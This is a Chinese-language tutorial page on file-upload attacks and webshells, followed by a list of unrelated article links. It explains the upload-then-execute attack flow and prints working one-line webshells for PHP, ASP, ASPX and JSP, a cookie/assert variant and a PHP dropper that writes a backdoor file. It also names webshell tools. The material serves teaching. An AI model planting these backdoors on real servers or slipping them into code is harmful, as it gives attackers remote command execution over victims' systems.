当前位置: 首页 > news >正文

文件上传-Webshell

Webshell简介

webshell就是以aspphpjsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页木马后门。
攻击者可通过这种网页后门获得网站服务器操作权限,控制网站服务器以进行上传下载文件、查看数据库、执行命令等…

什么是木马

木马:全称“特洛伊木马( Trojan Horse )指寄宿在计算机里的一种非授权的远程控制程序,它可以在计算机管理员未发觉的请款下”,开放系统权限、泄露用户信息给攻击者,是黑客常用的工具之一。

什么是后门

后门:一台计算机上有65535个端口,每个端口是计算机与外界连接所开启的“门”,每个门都有计算机提供的一些服务,攻击者利用这些服务,获取服务器的权限,给自己进入计算机留下个后门

Webshell分类

1. 根据文件大小分类

一句话木马:代码简短,通常只有一行代码,使用方便
小马: 只包含文件上传功能,体积小
大马:体积大,包含很多功能,代码通常会进行加密隐藏

2.根据脚本类型分类

jsp
asp
aspx
php

Webshell特点

1.webshell大多以动态脚本形式出现
2.webshell就是一个asp或php木马后门
3.webshell可以穿越服务器防火墙,攻击者与被控服务器交换数据都是通过80端口传递
4.webshell一般不会在系统日志中留下记录,只会在web日志中留下数据传递记录

Webshell攻击流程

1.利用web漏洞获取web权限
2.上传小马
3.上传大马
4.远程调用webshell执行命令

常见Webshell

PHP:

<?php eval($_GET[pass]);?> <?php eval($_POST[pass]);?>

ASP:
<%eval request(“pass”)%>
ASPX:
<%@Page Language=“jscript”%><%eval(Request.ltem[“pass”])%>
JSP:
<%Runtime.getRuntime().exec(request.getParmeter(“i”));%>

Webshell基本原理

基本原理

1.可执行脚本
HTTP数据包( $_GET、 $_POST、 $_COOKIES)
2.数据传递
3.执行传递的数据
直接执行( eval、system、passthru )
文件包含执行 (include、require )
动态函数执行( $a = “phpinfo” ; $a() ; )
回调函数 ( array_map等 )

php webshell

GET方式:

<?php eval($_GET[pass]);?>

POST方式:

<?php eval($_POST[pass]);?>

Cookie方式:

<?php @$a=$_COOKIE[1];$b='';$c='';@assert($b.$a);?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以通过webshell来进行远程操作
在这里插入图片描述
在这里插入图片描述

一句话木马写小马

<?php fputs(fopen("up.php","w"),'<?php eval($_POST["cmd"])?>'); ?>

当我们打开这个php网页的时候它就会生成这个木马
在这里插入图片描述
在这里插入图片描述
我们通过对文件内容二次base64编码对up.php编码一次
他就会生产上传文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

小马上传大马

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Webshell工具介绍

中国菜刀、cknife、weevely3、中国蚁剑、冰蝎等

相关文章:

  • PHP框架详解 - symfony框架
  • 解释Java中的事务管理,以及事务的隔离级别是什么?
  • MySQL温故篇(一)SQL语句基础
  • Springboot+vue的社区智慧养老监护管理平台设计与实现(有报告),Javaee项目,springboot vue前后端分离项目
  • R语言阈值效应函数cut.tab2.0版发布(支持线性回归、逻辑回归、cox回归,自定义拐点)
  • uTools工具使用
  • Redis-缓存问题及解决方案
  • Kafka系列之:Kafka集群同时设置基于时间和日志大小两种方式保存Topic的数据
  • 学习好并用好大模型
  • 【Cocos入门】场景切换(loadScene、preloadScene)
  • nginx slice模块的使用和源码分析
  • jmeter-06常用的几种断言方式
  • PdfFactory Pro软件下载以及序列号注册码生成器
  • Pandas 对带有 Multi-column(多列名称) 的数据排序并写入 Excel 中
  • vue 引入 百度地图API 和 路书
  • 【Redis学习笔记】2018-06-28 redis命令源码学习1
  • Android Studio:GIT提交项目到远程仓库
  • C++11: atomic 头文件
  • exif信息对照
  • gcc介绍及安装
  • JavaScript类型识别
  • Mocha测试初探
  • XForms - 更强大的Form
  • 基于webpack 的 vue 多页架构
  • 聊聊flink的TableFactory
  • 聊聊sentinel的DegradeSlot
  • 漫谈开发设计中的一些“原则”及“设计哲学”
  • 前端之React实战:创建跨平台的项目架构
  • 悄悄地说一个bug
  • 网络应用优化——时延与带宽
  • 一个项目push到多个远程Git仓库
  • 一起来学SpringBoot | 第十篇:使用Spring Cache集成Redis
  • 白色的风信子
  • ​LeetCode解法汇总518. 零钱兑换 II
  • ### Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLTr
  • ###C语言程序设计-----C语言学习(3)#
  • $.ajax()方法详解
  • $.ajax,axios,fetch三种ajax请求的区别
  • (06)金属布线——为半导体注入生命的连接
  • (70min)字节暑假实习二面(已挂)
  • (八)五种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (附源码)springboot教学评价 毕业设计 641310
  • (附源码)计算机毕业设计SSM疫情居家隔离服务系统
  • (附源码)计算机毕业设计SSM智慧停车系统
  • (汇总)os模块以及shutil模块对文件的操作
  • (三分钟了解debug)SLAM研究方向-Debug总结
  • (转) Face-Resources
  • (转)linux下的时间函数使用
  • (转)创业家杂志:UCWEB天使第一步
  • (轉貼) 2008 Altera 亞洲創新大賽 台灣學生成果傲視全球 [照片花絮] (SOC) (News)
  • .NET 4.0中的泛型协变和反变
  • .net core 依赖注入的基本用发
  • .NET Framework与.NET Framework SDK有什么不同?
  • .net 验证控件和javaScript的冲突问题
  • .net6使用Sejil可视化日志